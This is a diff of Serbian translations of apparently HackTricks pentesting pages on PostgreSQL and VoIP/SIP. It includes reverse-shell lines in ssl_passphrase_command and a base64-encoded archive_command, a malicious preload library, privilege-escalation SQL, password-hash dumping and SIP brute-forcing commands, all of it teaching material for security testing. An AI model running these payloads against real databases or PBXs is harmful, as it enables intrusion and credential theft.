python3 postgresql_filenode_editor.py -f {FAJL_CVORA} --datatype-csv {DATATYPE_CSV_IZ_KORAKA_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_PODACI}
|
||||
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_IZ_KORAKA_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_PODACI}
|
||||
```
|
||||
|
||||
![Demonstracija PostgreSQL Filenode Editora](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo\_datatype.gif)
|
||||
|
@ -380,7 +366,7 @@ python3 postgresql_filenode_editor.py -f {FAJL_CVORA} --datatype-csv {DATATYPE_C
|
|||
|
||||
```sql
|
||||
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
|
||||
SELECT lo_export(13338,'{PSQL_PUTANJA_PODATAKA}/{PUTANJA_DO_TABELE}')
|
||||
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
|
||||
```
|
||||
7. _(Opciono)_ Očistite keširanu tabelu iz memorije pokretanjem skupog SQL upita
|
||||
|
||||
|
@ -421,7 +407,7 @@ GRANT pg_execute_server_program TO username;
|
|||
{% endhint %}
|
||||
|
||||
Ili koristite modul `multi/postgres/postgres_copy_from_program_cmd_exec` iz **metasploita**.\
|
||||
Više informacija o ovoj ranjivosti [**ovde**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Dok je prijavljeno kao CVE-2019-9193, Postgres je saopštio da je ovo [funkcionalnost i neće biti popravljeno](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
|
||||
Više informacija o ovoj ranjivosti [**ovde**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Dok je prijavljeno kao CVE-2019-9193, Postgres je proglasio da je ovo [funkcionalnost i da neće biti popravljeno](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
|
||||
|
||||
### RCE sa PostgreSQL jezicima
|
||||
|
||||
|
@ -443,7 +429,7 @@ Kada ste **naučili** iz prethodnog posta **kako da otpremite binarne datoteke**
|
|||
Sledeći RCE vektori su posebno korisni u ograničenim SQLi kontekstima, jer se svi koraci mogu izvršiti putem ugniježdenih SELECT izjava
|
||||
{% endhint %}
|
||||
|
||||
**Konfiguraciona datoteka** PostgreSQL-a je **upisiva** od strane **postgres korisnika**, koji pokreće bazu podataka, tako da kao **superkorisnik** možete pisati datoteke u fajl sistem, i stoga možete **prepisati ovu datoteku.**
|
||||
**Konfiguraciona datoteka** PostgreSQL-a je **upisiva** od strane **postgres korisnika**, koji pokreće bazu podataka, tako da kao **superkorisnik**, možete pisati datoteke u fajl sistem, i stoga možete **prepisati ovu datoteku.**
|
||||
|
||||
![](<../.gitbook/assets/image (322).png>)
|
||||
|
||||
|
@ -455,44 +441,44 @@ Konfiguraciona datoteka ima neke zanimljive atribute koji mogu dovesti do RCE:
|
|||
|
||||
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Putanja do privatnog ključa baze podataka
|
||||
* `ssl_passphrase_command = ''` Ako je privatna datoteka zaštićena lozinkom (šifrovana) postgresql će **izvršiti komandu naznačenu u ovom atributu**.
|
||||
* `ssl_passphrase_command_supports_reload = off` **Ako** je ovaj atribut **uključen** komanda izvršena ako je ključ zaštićen lozinkom **će se izvršiti** kada se izvrši `pg_reload_conf()`.
|
||||
* `ssl_passphrase_command_supports_reload = off` **Ako** je ovaj atribut **uključen** komanda izvršena ako je ključ zaštićen lozinkom **će biti izvršena** kada se izvrši `pg_reload_conf()`.
|
||||
|
||||
Zatim, napadač će morati:
|
||||
Zatim, napadač će morati da:
|
||||
|
||||
1. **Izvući privatni ključ** sa servera
|
||||
2. **Šifrovati** preuzeti privatni ključ:
|
||||
1. `rsa -aes256 -in preuzeti-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
|
||||
3. **Prepisati**
|
||||
4. **Izvući** trenutnu postgresql **konfiguraciju**
|
||||
5. **Prepisati** **konfiguraciju** sa navedenim atributima konfiguracije:
|
||||
1. **Izvuče privatni ključ** sa servera
|
||||
2. **Šifruje** preuzeti privatni ključ:
|
||||
1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
|
||||
3. **Prepiše**
|
||||
4. **Izvuče** trenutnu postgresql **konfiguraciju**
|
||||
5. **Prepiše** **konfiguraciju** sa navedenim atributima konfiguracije:
|
||||
1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
|
||||
2. `ssl_passphrase_command_supports_reload = on`
|
||||
6. Izvršiti `pg_reload_conf()`
|
||||
6. Izvrši `pg_reload_conf()`
|
||||
|
||||
Prilikom testiranja primetio sam da će ovo raditi samo ako **datoteka privatnog ključa ima privilegije 640**, da je **vlasnik root** i da je **grupa ssl-cert ili postgres** (tako da postgres korisnik može da je čita), i da je smeštena u _/var/lib/postgresql/12/main_.
|
||||
Prilikom testiranja primetio sam da će ovo raditi samo ako je **datoteka privatnog ključa ima privilegije 640**, da je **vlasnik root** i **grupa ssl-cert ili postgres** (tako da postgres korisnik može da je čita), i da se nalazi u _/var/lib/postgresql/12/main_.
|
||||
|
||||
#### **RCE sa archive\_command**
|
||||
|
||||
**Više** [**informacija o ovoj konfiguraciji i o WAL ovde**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**
|
||||
|
||||
Još jedan atribut u konfiguracionoj datoteci koji je iskorišćiv je `archive_command`.
|
||||
Još jedan atribut u konfiguracionoj datoteci koji je iskoristiv je `archive_command`.
|
||||
|
||||
Da bi ovo radilo, postavka `archive_mode` mora biti `'on'` ili `'always'`. Ako je to tačno, tada bismo mogli prebrisati komandu u `archive_command` i naterati je da se izvrši putem WAL (write-ahead logging) operacija.
|
||||
|
||||
Opšti koraci su:
|
||||
|
||||
1. Proveriti da li je režim arhiviranja omogućen: `SELECT current_setting('archive_mode')`
|
||||
2. Prebrisati `archive_command` sa payload-om. Na primer, reverzna ljuska: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
|
||||
3. Ponovo učitati konfiguraciju: `SELECT pg_reload_conf()`
|
||||
4. Naterati operaciju WAL da se izvrši, što će pozvati arhivsku komandu: `SELECT pg_switch_wal()` ili `SELECT pg_switch_xlog()` za neke verzije Postgresa
|
||||
1. Proverite da li je režim arhiviranja omogućen: `SELECT current_setting('archive_mode')`
|
||||
2. Prepišite `archive_command` sa payload-om. Na primer, reverzna ljuska: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
|
||||
3. Ponovo učitajte konfiguraciju: `SELECT pg_reload_conf()`
|
||||
4. Naterajte operaciju WAL da se izvrši, što će pozvati arhivsku komandu: `SELECT pg_switch_wal()` ili `SELECT pg_switch_xlog()` za neke verzije Postgresa
|
||||
|
||||
#### **RCE sa bibliotekama učitavanja pre učitavanja**
|
||||
#### **RCE sa preload bibliotekama**
|
||||
|
||||
Više informacija [o ovoj tehnici ovde](https://adeadfed.com/posts/postgresql-select-only-rce/).
|
||||
|
||||
Ovaj vektor napada koristi sledeće konfiguracione promenljive:
|
||||
|
||||
* `session_preload_libraries` -- biblioteke koje će biti učitane od strane PostgreSQL servera pri povezivanju klijenta.
|
||||
* `session_preload_libraries` -- biblioteke koje će biti učitane od strane PostgreSQL servera prilikom klijentske konekcije.
|
||||
* `dynamic_library_path` -- lista direktorijuma gde će PostgreSQL server tražiti biblioteke.
|
||||
|
||||
Možemo postaviti vrednost `dynamic_library_path` na direktorijum koji je upisiv od strane `postgres` korisnika koji pokreće bazu podataka, na primer, `/tmp/` direktorijum, i otpremiti zlonamerni `.so` objekat tamo. Zatim ćemo naterati PostgreSQL server da učita našu novu otpremljenu biblioteku uključivanjem je u promenljivu `session_preload_libraries`.
|
||||
|
@ -502,7 +488,7 @@ Koraci napada su:
|
|||
1. Preuzmite originalni `postgresql.conf`
|
||||
2. Uključite `/tmp/` direktorijum u vrednost `dynamic_library_path`, na primer `dynamic_library_path = '/tmp:$libdir'`
|
||||
3. Uključite ime zlonamerne biblioteke u vrednost `session_preload_libraries`, na primer `session_preload_libraries = 'payload.so'`
|
||||
4. Proverite glavnu verziju PostgreSQL-a putem upita `SELECT version()`
|
||||
4. Proverite glavnu verziju Postgresa putem upita `SELECT version()`
|
||||
5. Kompajlirajte zlonamerni kod biblioteke sa odgovarajućim PostgreSQL dev paketom Primer koda:
|
||||
|
||||
```c
|
||||
|
@ -559,9 +545,9 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so
|
|||
|
||||
#### **Grant**
|
||||
|
||||
Prema [**dokumentaciji**](https://www.postgresql.org/docs/13/sql-grant.html): _Uloge koje imaju privilegiju **`CREATEROLE`** mogu **dodeljivati ili oduzimati članstvo u bilo kojoj ulozi** koja **nije** **superkorisnik**._
|
||||
Prema [**dokumentaciji**](https://www.postgresql.org/docs/13/sql-grant.html): _Uloge koje imaju privilegiju **`CREATEROLE`** mogu **dodeljivati ili oduzimati članstvo u bilo kojoj ulozi** koja **nije** **superuser**._
|
||||
|
||||
Dakle, ako imate dozvolu **`CREATEROLE`** možete sebi dodeliti pristup drugim **ulogama** (koje nisu superkorisnici) što vam omogućava čitanje i pisanje fajlova i izvršavanje komandi:
|
||||
Dakle, ako imate dozvolu **`CREATEROLE`** možete sebi dodeliti pristup drugim **ulogama** (koje nisu superuser) koje vam omogućavaju čitanje i pisanje fajlova i izvršavanje komandi:
|
||||
```sql
|
||||
# Access to execute commands
|
||||
GRANT pg_execute_server_program TO username;
|
||||
|
@ -570,16 +556,16 @@ GRANT pg_read_server_files TO username;
|
|||
# Access to write files
|
||||
GRANT pg_write_server_files TO username;
|
||||
```
|
||||
#### Izmena lozinke
|
||||
#### Promeni lozinku
|
||||
|
||||
Korisnici sa ovom ulogom takođe mogu **promeniti** **lozinke** drugih **ne-superkorisnika**:
|
||||
Korisnici sa ovom ulogom takođe mogu **promeniti** **lozinke** drugih **korisnika koji nisu superkorisnici**:
|
||||
```sql
|
||||
#Change password
|
||||
ALTER USER user_name WITH PASSWORD 'new_password';
|
||||
```
|
||||
#### Privesc do SUPERUSER
|
||||
|
||||
Prilično je uobičajeno da **lokalni korisnici mogu da se prijave u PostgreSQL bez unošenja bilo kakve lozinke**. Stoga, kada ste prikupili **dozvole za izvršavanje koda**, možete zloupotrebiti ove dozvole da biste dobili ulogu **`SUPERUSER`**:
|
||||
Često je uobičajeno da **lokalni korisnici mogu da se prijave u PostgreSQL bez unošenja bilo kakve lozinke**. Stoga, kada ste prikupili **dozvole za izvršavanje koda**, možete zloupotrebiti ove dozvole da biste dobili ulogu **`SUPERUSER`**:
|
||||
```sql
|
||||
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
|
||||
```
|
||||
|
@ -603,7 +589,7 @@ Kada pokušate **dodeliti vlasništvo nad tabelom drugom korisniku**, trebalo bi
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (537).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Povezujući ovu ideju sa činjenicom da kada se **IZVRŠE INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) komande na **tabeli sa funkcijom indeksa**, **funkcija** se **poziva** kao deo komande sa **dozvolama vlasnika tabele**. Moguće je kreirati indeks sa funkcijom, dati vlasničke dozvole **superkorisniku** nad tom tabelom, a zatim izvršiti ANALYZE nad tabelom sa zlonamernom funkcijom koja će moći da izvršava komande jer koristi privilegije vlasnika.
|
||||
Povezujući ovu ideju sa činjenicom da kada se **IZVRŠE INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) komande na **tabeli sa funkcijom indeksa**, **funkcija** se **poziva** kao deo komande sa **dozvolama vlasnika tabele**. Moguće je kreirati indeks sa funkcijom i dati vlasničke dozvole **superkorisniku** nad tom tabelom, a zatim izvršiti ANALYZE nad tabelom sa zlonamernom funkcijom koja će moći da izvršava komande jer koristi privilegije vlasnika.
|
||||
```c
|
||||
GetUserIdAndSecContext(&save_userid, &save_sec_context);
|
||||
SetUserIdAndSecContext(onerel->rd_rel->relowner,
|
||||
|
@ -612,10 +598,10 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION);
|
|||
#### Eksploatacija
|
||||
|
||||
1. Počnite kreiranjem nove tabele.
|
||||
2. Ubacite neki nebitan sadržaj u tabelu kako biste obezbedili podatke za funkciju indeksiranja.
|
||||
3. Razvijte zlonamernu funkciju indeksiranja koja sadrži izvršnu naredbu, omogućavajući izvršavanje neovlašćenih komandi.
|
||||
2. Ubacite neki irelevantan sadržaj u tabelu kako biste obezbedili podatke za funkciju indeksiranja.
|
||||
3. Razvijte zlonamernu funkciju indeksiranja koja sadrži payload za izvršavanje koda, omogućavajući izvršavanje neovlašćenih komandi.
|
||||
4. Izmijenite vlasnika tabele u "cloudsqladmin," koji je uloga superkorisnika GCP-a ekskluzivno korišćena od strane Cloud SQL-a za upravljanje i održavanje baze podataka.
|
||||
5. Izvršite ANALIZU operaciju na tabeli. Ova radnja nateruje PostgreSQL engine da pređe u korisnički kontekst vlasnika tabele, "cloudsqladmin." Kao rezultat, zlonamerna funkcija indeksiranja se poziva sa dozvolama "cloudsqladmin-a," omogućavajući izvršavanje prethodno neovlašćene shell komande.
|
||||
5. Izvršite ANALIZU operaciju na tabeli. Ova radnja prisiljava PostgreSQL engine da pređe u korisnički kontekst vlasnika tabele, "cloudsqladmin." Kao rezultat, zlonamerna funkcija indeksiranja se poziva sa dozvolama "cloudsqladmin," omogućavajući izvršavanje prethodno neovlašćene shell komande.
|
||||
|
||||
U PostgreSQL-u, ovaj tok izgleda nekako ovako:
|
||||
```sql
|
||||
|
@ -657,7 +643,7 @@ dbname=somedb',
|
|||
RETURNS (result TEXT);
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Imajte na umu da bi prethodni upit radio **funkcija `dblink` mora postojati**. Ako ne postoji, možete pokušati da je kreirate sa
|
||||
Imajte na umu da bi prethodni upit radio, **funkcija `dblink` mora postojati**. Ako ne postoji, možete pokušati da je kreirate pomoću
|
||||
```sql
|
||||
CREATE EXTENSION dblink;
|
||||
```
|
||||
|
@ -671,7 +657,7 @@ dbname=somedb',
|
|||
'SELECT usename,passwd from pg_shadow')
|
||||
RETURNS (result TEXT);
|
||||
```
|
||||
Moguće je proveriti da li ova funkcija postoji sa:
|
||||
Moguće je proveriti da li ova funkcija postoji pomoću:
|
||||
```sql
|
||||
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
|
||||
```
|
||||
|
@ -698,9 +684,9 @@ PERFORM dblink_disconnect();
|
|||
…
|
||||
</code></pre>
|
||||
|
||||
Kako je [**objašnjeno u dokumentaciji**](https://www.postgresql.org/docs/current/sql-createfunction.html) funkcija sa **SECURITY DEFINER** se izvršava sa privilegijama **korisnika koji je vlasnik**. Stoga, ako je funkcija **ranjiva na SQL Injection** ili vrši **privilegovane akcije sa parametrima koje kontroliše napadač**, može biti zloupotrebljena za **escalaciju privilegija unutar postgres-a**.
|
||||
Kako je [**objašnjeno u dokumentaciji**](https://www.postgresql.org/docs/current/sql-createfunction.html) funkcija sa **SECURITY DEFINER se izvršava** sa privilegijama **korisnika koji je vlasnik**. Stoga, ako je funkcija **ranjiva na SQL Injection** ili vrši **privilegovane akcije sa parametrima koje kontroliše napadač**, može biti zloupotrebljena za **escalaciju privilegija unutar postgres baze**.
|
||||
|
||||
Na liniji 4 prethodnog koda možete videti da funkcija ima zastavicu **SECURITY DEFINER**.
|
||||
Na liniji 4 prethodnog koda možete videti da funkcija ima **SECURITY DEFINER** zastavicu.
|
||||
```sql
|
||||
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
|
||||
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
|
||||
|
@ -710,9 +696,9 @@ I onda **izvršite komande**:
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (649).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Provala BruteForce-om pomoću PL/pgSQL
|
||||
### Prolazak Brute Force napadom korišćenjem PL/pgSQL
|
||||
|
||||
**PL/pgSQL** je **potpuno opremljeni programski jezik** koji nudi veću proceduralnu kontrolu u poređenju sa SQL-om. Omogućava korišćenje **petlji** i drugih **kontrolnih struktura** radi poboljšanja logike programa. Pored toga, **SQL naredbe** i **okidači** imaju mogućnost da pozovu funkcije koje su kreirane korišćenjem **PL/pgSQL jezika**. Ova integracija omogućava sveobuhvatan i fleksibilan pristup programiranju baze podataka i automatizaciji.\
|
||||
**PL/pgSQL** je **potpuno opremljeni programski jezik** koji pruža veću proceduralnu kontrolu u poređenju sa SQL-om. Omogućava korišćenje **petlji** i drugih **kontrolnih struktura** radi poboljšanja logike programa. Pored toga, **SQL naredbe** i **okidači** imaju mogućnost da pozovu funkcije koje su kreirane korišćenjem **PL/pgSQL jezika**. Ova integracija omogućava sveobuhvatan i raznovrstan pristup programiranju baze podataka i automatizaciji.\
|
||||
**Možete zloupotrebiti ovaj jezik kako biste zatražili od PostgreSQL-a da brute-force-uje korisničke podatke.**
|
||||
|
||||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
|
||||
|
@ -737,7 +723,7 @@ Koraci napada su:
|
|||
4. Dobijanje tipa podataka, povezanog sa tabelom `pg_authid`
|
||||
5. Koristite [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) da [uredite filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); postavite sve `rol*` boolean zastave na 1 za puna ovlašćenja.
|
||||
6. Ponovo otpremite uređeni filenode putem funkcija `lo_*`, i prepišite originalni fajl na disku
|
||||
7. _(Po želji)_ Očistite keširanu tabelu u memoriji pokretanjem skupog SQL upita
|
||||
7. _(Opciono)_ Očistite keširanu tabelu u memoriji pokretanjem skupog SQL upita
|
||||
8. Sada biste trebali imati privilegije potpunog superadmina.
|
||||
|
||||
## **POST**
|
||||
|
@ -748,9 +734,9 @@ msf> use auxiliary/admin/postgres/postgres_readfile
|
|||
msf> use exploit/linux/postgres/postgres_payload
|
||||
msf> use exploit/windows/postgres/postgres_payload
|
||||
```
|
||||
### beleženje
|
||||
### logovanje
|
||||
|
||||
Unutar fajla _**postgresql.conf**_ možete omogućiti postgresql zapise menjanjem:
|
||||
Unutar fajla _**postgresql.conf**_ možete omogućiti postgresql logove menjajući:
|
||||
```bash
|
||||
log_statement = 'all'
|
||||
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
|
||||
|
@ -763,9 +749,9 @@ Zatim, **ponovo pokrenite servis**.
|
|||
|
||||
### pgadmin
|
||||
|
||||
[pgadmin](https://www.pgadmin.org) je platforma za administraciju i razvoj PostgreSQL baza podataka.\
|
||||
Možete pronaći **šifre** unutar datoteke _**pgadmin4.db**_\
|
||||
Možete ih dešifrovati koristeći funkciju _**decrypt**_ unutar skripte: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
|
||||
[pgadmin](https://www.pgadmin.org) je platforma za administraciju i razvoj PostgreSQL baze podataka.\
|
||||
Možete pronaći **šifre** unutar _**pgadmin4.db**_ fajla.\
|
||||
Možete ih dešifrovati koristeći _**decrypt**_ funkciju unutar skripte: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
|
||||
```bash
|
||||
sqlite3 pgadmin4.db ".schema"
|
||||
sqlite3 pgadmin4.db "select * from user;"
|
||||
|
@ -774,6 +760,6 @@ string pgadmin4.db
|
|||
```
|
||||
### pg\_hba
|
||||
|
||||
Klijentska autentikacija u PostgreSQL-u se upravlja kroz konfiguracioni fajl koji se zove **pg\_hba.conf**. Ovaj fajl sadrži niz zapisa, pri čemu svaki specificira tip konekcije, opseg IP adresa klijenta (ako je primenljivo), ime baze podataka, korisničko ime i metod autentikacije koji se koristi za povezivanje konekcija. Prvi zapis koji se poklapa sa tipom konekcije, adresom klijenta, traženom bazom podataka i korisničkim imenom se koristi za autentikaciju. Ne postoji rezervna opcija ili bekapanje ako autentikacija ne uspe. Ako nijedan zapis ne odgovara, pristup je odbijen.
|
||||
Klijentska autentikacija u PostgreSQL-u se upravlja kroz konfiguracioni fajl koji se zove **pg\_hba.conf**. Ovaj fajl sadrži niz zapisa, pri čemu svaki specificira tip konekcije, opseg IP adresa klijenta (ako je primenljivo), ime baze podataka, korisničko ime i metod autentikacije koji se koristi za povezivanje. Prvi zapis koji se poklapa sa tipom konekcije, adresom klijenta, traženom bazom podataka i korisničkim imenom se koristi za autentikaciju. Ne postoji rezervni ili rezervni zapis ako autentikacija ne uspe. Ako nijedan zapis ne odgovara, pristup je odbijen.
|
||||
|
||||
Dostupni metodi autentikacije zasnovani na lozinkama u pg\_hba.conf su **md5**, **crypt** i **password**. Ovi metodi se razlikuju u načinu prenosa lozinke: MD5 heširanje, kriptovano šifrovanje ili čisti tekst. Važno je napomenuti da metoda crypt ne može biti korišćena sa lozinkama koje su enkriptovane u pg\_authid.
|
||||
|
|
|
@ -129,7 +129,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
|
|||
555 Push Notification Service Not Supported
|
||||
580 Precondition Failure
|
||||
```
|
||||
**6xx—Globalne greške**
|
||||
**6xx—Globalne odgovore o neuspehu**
|
||||
```
|
||||
600 Busy Everywhere
|
||||
603 Decline
|
||||
|
@ -193,12 +193,12 @@ Sve ostale OSINT informacije koje pomažu u identifikaciji korišćenog VoIP sof
|
|||
|
||||
### Enumeracija mreže
|
||||
|
||||
* **`nmap`** je sposoban da skenira UDP servise, ali zbog velikog broja skeniranih UDP servisa, veoma je spor i možda nije vrlo precizan sa ovom vrstom servisa.
|
||||
* **`nmap`** je sposoban da skenira UDP servise, ali zbog velikog broja skeniranih UDP servisa, vrlo je spor i možda nije vrlo precizan sa ovom vrstom servisa.
|
||||
```bash
|
||||
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
|
||||
```
|
||||
* **`svmap`** iz SIPVicious-a (`sudo apt install sipvicious`): Lociraće SIP usluge u navedenoj mreži.
|
||||
* `svmap` je **lako blokirati** jer koristi User-Agent `friendly-scanner`, ali možete izmeniti kod iz `/usr/share/sipvicious/sipvicious` i promeniti ga.
|
||||
* `svmap` je **lak za blokiranje** jer koristi User-Agent `friendly-scanner`, ali možete izmeniti kod iz `/usr/share/sipvicious/sipvicious` i promeniti ga.
|
||||
```bash
|
||||
# Use --fp to fingerprint the services
|
||||
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
|
||||
|
@ -219,9 +219,9 @@ sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
|
|||
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
|
||||
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
|
||||
```
|
||||
#### Dodatno nabrajanje mrežnih servisa
|
||||
#### Dodatna enumeracija mreže
|
||||
|
||||
PBX takođe može otkrivati druge mrežne servise poput:
|
||||
PBX takođe može otkrivati druge mrežne servise kao što su:
|
||||
|
||||
- **69/UDP (TFTP)**: Ažuriranje firmware-a
|
||||
- **80 (HTTP) / 443 (HTTPS)**: Upravljanje uređajem preko web-a
|
||||
|
@ -232,19 +232,19 @@ PBX takođe može otkrivati druge mrežne servise poput:
|
|||
- **5432 (PostgreSQL)**: PostgreSQL baza podataka
|
||||
- I drugi...
|
||||
|
||||
### Nabrajanje metoda
|
||||
### Enumeracija metoda
|
||||
|
||||
Moguće je pronaći **koje su metode dostupne** za korišćenje na PBX-u koristeći `SIPPTS enumerate` iz [**sippts**](https://github.com/Pepelux/sippts)
|
||||
Moguće je pronaći **koje metode su dostupne** za korišćenje u PBX-u koristeći `SIPPTS enumerate` iz [**sippts**](https://github.com/Pepelux/sippts)
|
||||
```bash
|
||||
sippts enumerate -i 10.10.0.10
|
||||
```
|
||||
### Analiziranje odgovora servera
|
||||
|
||||
Veoma je važno analizirati zaglavlja koja server šalje nazad ka nama, zavisno od tipa poruke i zaglavlja koje šaljemo. Pomoću `SIPPTS send` alata sa [**sippts**](https://github.com/Pepelux/sippts) možemo slati personalizovane poruke, manipulišući svim zaglavljima, i analizirati odgovor.
|
||||
Veoma je važno analizirati zaglavlja koja server šalje nazad ka nama, zavisno od tipa poruke i zaglavlja koje šaljemo. Pomoću `SIPPTS send` alatke sa [**sippts**](https://github.com/Pepelux/sippts) možemo slati personalizovane poruke, manipulišući svim zaglavljima, i analizirati odgovor.
|
||||
```bash
|
||||
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
|
||||
```
|
||||
Takođe je moguće dobiti podatke ako server koristi websockets. Pomoću `SIPPTS wssend` alata sa [**sippts**](https://github.com/Pepelux/sippts) možemo slati personalizovane WS poruke.
|
||||
Takođe je moguće dobiti podatke ako server koristi websockets. Pomoću `SIPPTS wssend` iz [**sippts**](https://github.com/Pepelux/sippts) možemo slati personalizovane WS poruke.
|
||||
```bash
|
||||
sippts wssend -i 10.10.0.10 -r 443 -path /ws
|
||||
```
|
||||
|
@ -265,7 +265,7 @@ sippts exten -i 10.10.0.10 -r 5060 -e 100-200
|
|||
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
|
||||
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
|
||||
```
|
||||
* **`enumiax` (`apt install enumiax`): enumIAX** je alat za grube sile korisničkih imena za protokol Inter Asterisk Exchange. enumIAX može raditi u dva različita moda; Sekvencijalno pogađanje korisničkih imena ili Rečnik napad.
|
||||
* **`enumiax` (`apt install enumiax`): enumIAX** je alat za grubu silu korisničkih imena za protokol Inter Asterisk Exchange. enumIAX može raditi u dva različita moda; Sekvencijalno Pogađanje Korisničkog Imena ili Rečnik Napad.
|
||||
```bash
|
||||
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
|
||||
enumiax -v -m3 -M3 10.10.0.10
|
||||
|
@ -274,10 +274,10 @@ enumiax -v -m3 -M3 10.10.0.10
|
|||
|
||||
### Brute-Force napad na lozinke - online
|
||||
|
||||
Nakon što su otkriveni **PBX** i neki **produžeci/korisnička imena**, Crveni tim može pokušati da se **autentikuje putem metode `REGISTER`** na produžetak koristeći rečnik uobičajenih lozinki kako bi izvršio brute force autentikaciju.
|
||||
Nakon što su otkriveni **PBX** i neki **produžeci/korisnička imena**, Crveni tim može pokušati da se **autentifikuje putem metode `REGISTER`** na produžetak koristeći rečnik čestih lozinki kako bi izvršio brute force autentifikaciju.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Imajte na umu da **korisničko ime** može biti isto kao produžetak, ali ova praksa može varirati u zavisnosti od sistema PBX-a, njegove konfiguracije i preferencija organizacije...
|
||||
Imajte na umu da **korisničko ime** može biti isto kao produžetak, ali ova praksa može varirati u zavisnosti od PBX sistema, njegove konfiguracije i preferencija organizacije...
|
||||
|
||||
Ako korisničko ime nije isto kao produžetak, moraćete **odrediti korisničko ime za brute-force napad**.
|
||||
{% endhint %}
|
||||
|
@ -299,13 +299,13 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
|
|||
|
||||
Ako pronađete VoIP opremu unutar **Otvorenog Wifi mreže**, možete **snifovati sve informacije**. Štaviše, ako se nalazite unutar nešto zatvorenije mreže (povezani preko Ethernet-a ili zaštićenog Wifija) možete izvesti **MitM napade kao što su** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) između **PBX-a i gateway-a** kako biste snifovali informacije.
|
||||
|
||||
Među informacijama o mreži, možete pronaći **web kredencijale** za upravljanje opremom, korisničke **ekstenzije**, **korisničko ime**, **IP** adrese, čak i **hashovane lozinke** i **RTP pakete** koje možete reprodukovati kako biste **čuli razgovor**, i još mnogo toga.
|
||||
Među informacijama o mreži, možete pronaći **web kredencijale** za upravljanje opremom, korisničke **ekstenzije**, **korisničko ime**, **IP** adrese, čak i **hashovane lozinke** i **RTP pakete** koje možete reprodukovati da biste **čuli razgovor**, i još mnogo toga.
|
||||
|
||||
